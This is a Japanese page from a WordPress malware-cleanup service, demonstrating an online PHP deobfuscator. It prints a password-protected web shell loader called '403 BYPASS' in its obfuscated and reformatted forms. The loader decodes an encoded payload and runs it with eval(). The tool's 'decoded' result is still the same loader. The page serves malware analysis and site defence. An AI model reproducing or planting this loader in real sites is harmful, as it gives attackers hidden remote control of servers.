Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $pw = "bbf94b34eb32268ada57a3be5062fe7d"; /*403 BYPASS MD5 DEFAULT PASSWORD : 403 */ function bypass($shell) { $shell=gzinflate(base64_decode($shell)); for($i=0;$i<strlen($shell);$i++) { $shell[$i] = chr(ord($shell[$i])-1); } return $shell; }eval(bypass("U1QEAu60lMwCxbTypFxNDQd7DUV9xfSs3...



難読化されたPHPコード

<?php $pw = "bbf94b34eb32268ada57a3be5062fe7d"; /*403 BYPASS MD5 DEFAULT PASSWORD : 403 */ function bypass($shell) { $shell=gzinflate(base64_decode($shell)); for($i=0;$i<strlen($shell);$i++) { $shell[$i] = chr(ord($shell[$i])-1); } return $shell;
 }eval(bypass("U1QEAu60lMwCxbTypFxNDQd7DUV9xfSs3LSEjLTShJSC/NK0/NISTY3M0tLCEmsDg+KkCv2MrNLMsuSykrRiqLx+SkGegamhiXNUoFNISIinm6+vgaebDxAa5CVl5RtkpuUAoX5hZqGGrqKiu5evW0JYiFuCl7+Lb5irW0KgU6inlhbQXuXYfGUbiHM0s/JTcstS0xSpZjPcAgd7AA=="));?>

デコード(難読化解除)されたコード

<?php

$pw = "bbf94b34eb32268ada57a3be5062fe7d";
/*403 BYPASS MD5 DEFAULT PASSWORD : 403 */
function bypass($shell)
{
    $shell = gzinflate(base64_decode($shell));
    for ($i = 0; $i < strlen($shell); $i++) {
        $shell[$i] = chr(ord($shell[$i]) - 1);
    }
    return $shell;
}
eval(bypass("U1QEAu60lMwCxbTypFxNDQd7DUV9xfSs3LSEjLTShJSC/NK0/NISTY3M0tLCEmsDg+KkCv2MrNLMsuSykrRiqLx+SkGegamhiXNUoFNISIinm6+vgaebDxAa5CVl5RtkpuUAoX5hZqGGrqKiu5evW0JYiFuCl7+Lb5irW0KgU6inlhbQXuXYfGUbiHM0s/JTcstS0xSpZjPcAgd7AA=="));

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.